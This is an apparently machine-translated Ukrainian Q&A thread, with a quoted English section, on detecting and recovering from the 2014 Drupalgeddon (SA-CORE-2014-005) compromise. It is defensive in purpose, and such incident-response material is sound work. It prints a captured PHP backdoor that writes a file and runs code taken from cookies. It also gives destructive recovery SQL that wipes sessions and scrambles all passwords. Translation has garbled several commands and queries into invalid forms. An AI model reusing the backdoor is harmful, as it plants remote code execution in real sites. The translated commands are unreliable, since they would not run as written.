Drupal SA-CORE-2014-005 - Як дізнатись, чи порушено мій сервер / сайти?

Я щойно оновив усі мої сайти, використовуючи метод патчу для вирішення подвигу Drupal SA-CORE-2014-005. Я щойно читав повідомлення про те, що лише вчора хтось із російських ІС проник в друпальські сайти.

https://www.drupal.org/SA-CORE-2014-005

Мої основні проблеми зараз:

• Як дізнатись, чи містяться мої сайти?
• Що я повинен шукати в своїх журналах доступу до апачу, щоб виявити, чи був мій сайт жертвою чи ні?
• Поки що ці хакери роблять для розміщених сайтів?

Ось декілька запитів SQL, які можна запустити проти БД вашого сайту, щоб перевірити, чи користувачі мають права адміністратора, і які з них отримали доступ до публікації сайту 15 жовтня.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Якщо ви читаєте цю статтю і сподіваєтесь перевірити сайт Drupal 7 більше місяця після висадки експлуату, ваш сайт, швидше за все, вже зламався . Ваша найкраща ставка - відновити резервну копію до початку атак та працювати з неї.

Є питання про SA-CORE-2014-005 .

Як дізнатись, чи не порушено мої веб-сайти?

Один із способів швидко перевірити, чи порушені сайти, - це команда Drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Встановіть на ваш ~/.drushсdrush dl drupalgeddon

Потім використовуйте drush drupalgeddon-testдля тестування. Псевдоніми Drush роблять це легко і швидко.

Цей інструмент може підтвердити експлуатований сайт, але він не може гарантувати, що ваш сайт не буде використаний. Тут немає "чистого рахунку за здоров'я", якщо ви не модернізувались до початку атак.

Модуль аудиту сайту включає деякі перевірки від Drupalgeddon і дає також набагато корисніші дані. Дуже рекомендую. (EDIT: Зараз вони працюють разом - супер приємно!)

• http://drupal.org/project/site_audit

Огляд безпеки не перевіряє наявність атак на Drupalgeddon, але його варто також мати в стрічці інструментів.

• http://drupal.org/project/security_review

Якщо кодова база вашого сайту була доступна користувачеві www, ви можете додатково перевірити змінений код за допомогою зламаного модуля. Цей модуль може не робити те, що ви думаєте, базуючись лише на його імені :)

• http://drupal.org/project/hacked

Хоча не існує єдиного певного способу ідентифікації всіх порушених сайтів, ці інструменти допоможуть вам визначити найпоширеніші вказівки.

Що я повинен шукати в своїх журналах доступу до апачу, щоб виявити, чи був мій сайт жертвою чи ні?

Наразі ваші журнали доступу містять багато запитів POST. Якщо ви не зробили незвичний крок реєстрації всіх поштових даних перед помилкою, ви навряд чи матимете інформацію про те, хто з них був шкідливим.

Поки що ці хакери роблять на компрометованих сайтах?

Багато хто повідомляє, що їхні сайти хакери виправляють! Як нападник, це має добрий сенс - ви не хочете, щоб ваш нещодавно викрадений сайт вибився з-під вас наступним зловмисником :)

Окрім цього, я б здогадувався, що сайти використовуються для збирання будь-яких цінних даних (можливо, захопити якісь кредити, можливо зняти деталі транзакцій після експлуатації) та зробити нудні речі, такі як надсилання спаму та робота в якості скромних рабів-ботнетів. О, і ще більше розширюйте імперію зловмисників захоплених сайтів Друпалу. (Вибачте, у мене немає жодних злому сайтів.)

Деякі перевірки на поширені напади є (це не вичерпний перелік, але це деякі з нападів, які спостерігаються в дикій природі до цих пір):

• Перевірте свій обліковий запис 1, щоб переконатися, що ім’я користувача, адреса електронної пошти або пароль такі, якими ви їх очікуєте. Також перевірте будь-які інші облікові записи користувачів, які мають високий рівень дозволів, якщо це можливо.
• Перевірте наявність нових облікових записів користувачів, які виглядають підозріло.
• Перевірте зміни ролей у вашій системі, наприклад, будь-які нові ролі або перейменовані ролі.
• Перевірте зміни на дозвіл. Найважливіший аспект цього полягає в тому, щоб переконатися, що роль анонімного користувача (або інші ролі, на які кожен може зареєструватися) не була змінена, щоб надати їм більш широкий доступ.
• Перевірте наявність нових спеціальних блоків, які можуть містити шкідливий код.
• Перевірте наявність нових спеціальних вузлів, які можуть містити шкідливий код.
• Перевірте наявність файлів у вашій файловій системі, яких там не повинно бути. Це легко, якщо ви використовуєте контроль версій, оскільки ви можете зробити статус git або svn st, щоб побачити, чи є там якісь нові файли.
• Якщо вони завантажили шкідливі файли, то ви можете перевірити свої журнали доступу на попадання чужих імен файлів, які вам незнайомі.

• Перевірте таблицю бази даних маршрутизатора меню на наявність шкідливих записів. Наприклад (модуль drupalgeddon / плагін для друку на drupal.org має хороший сценарій для більш детальної перевірки цієї таблиці):

  ВИБІР * FROM menu_router WHERE access_callback = 'file_put_contents';

• Ви також можете просто переглянути таблицю маршрутизаторів меню для записів, що виглядають дивно.

Деякі речі, які намагаються зробити хакери, це:

• Розмістіть на своєму веб-сайті файли скриптів, щоб вони потім могли запускатися, натискаючи їх у браузері. Ці сценарії можуть робити широкий спектр шкідливих речей. Це досягається шляхом додавання шкідливих записів маршрутизатора меню.
• Створіть для них адміністративні акаунти користувачів, щоб потім користуватися поганими справами на вашому сайті або захоплювати ваш сайт.
• Змініть 1 електронну адресу користувача, щоб вони змогли скинути пароль для цього облікового запису та взяти його на себе.
• Змінення дозволів на загальнодоступні ролі користувача.
• Додайте блоки / вузли / тощо. які можуть містити шкідливий код. Якщо у вас включений фільтр PHP, це ще більше проблеми.

На жаль, у вашій базі даних так багато, що може зробити зловмисник, що досить важко дати повний перелік можливостей. Вони можуть робити те, що намагається контролювати ваш сайт, або вони можуть просто зламати ваш сайт, але скидаючи таблиці баз даних або стовпці тощо.

Вони можуть навіть просто внести дуже невеликі зміни в конфігурацію сайту, наприклад, змінити назву вашого сайту чи щось подібне, що не є кінцем світу, але все ще є проблематичним.

По суті, все, що ви могли зробити у своїй базі даних, запустивши команду SQL, зловмисник теоретично міг би зробити.

Усі модулі, згадані у відповіді Кріса Берджеса, дуже корисні для перевірки цих речей.

Думаю, я б пішов із порадою drupal.org " Ви повинні продовжувати, припускаючи, що кожен веб-сайт Drupal 7 був порушений, якщо не оновлено або зафіксовано до 15 жовтня, 23:00 UTC, тобто через 7 годин після оголошення ". Як зазначив Беван у цьому коментарі, "Оновлення або виправлення Друпалу не виправляє задню поверхню, яку зловмисники встановлювали перед оновленням або виправленням Drupal".

Беван також склав таку таблицю робочих процесів, щоб допомогти вам проаналізувати, чи могли ви бути заражені, і як відновити та запобігти . Однак він просить усіх перейти до його оригінальної статті, щоб переконатися, що у вас є остання версія робочого процесу. Також Acquia роблять цікаву статтю про атаки та закономірності, які вони зазнали в Acquia Cloud

Цитата від: https://www.drupal.org/node/2357241#comment-9258955

Це приклад файлу, який вставляється у стовпець меню_групора access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Як ви бачите, він намагається створити модулі файлів / image / vzoh.php, але, оскільки я маю лише дозволи на читання всередині цих каталогів, php не спрацьовує.

Звіти людей, які знаходять подібні файли, створені під час пошуку у вашому каталозі drupal: https://www.drupal.org/node/2357241#comment-9260017

Я зробив наступну команду:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

===================

Цитується з: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Показ файлів, які змінилися на живому сервері: статус git

Шукаєте спроби виконання коду через menu_router: виберіть * з menu_router, де access_callback = 'file_put_contents'

Показано, які файли є на реальному сервері, а не у контролі версій: diff -r docroot repo | греп докроот | grep 'Тільки в docroot'

Пошук файлів PHP в каталозі файлів: find. -путь "* php"

Перевірка часу між тим, коли користувач увійшов на ваш сайт, і останнім його відвідуванням на сторінці: виберіть (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid від сесій з внутрішнім приєднанням користувачів u на s.uid = u.uid;

Дуже хороший перелік команд, щоб повідомити, чи вас дотримали.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Ви можете перевірити, чи зламали ваш веб-сайт за допомогою цього інтернет-інструменту:

Drupal Check: The EngineHack

Очевидно, у нього є свої обмеження, але це хороша відправна точка.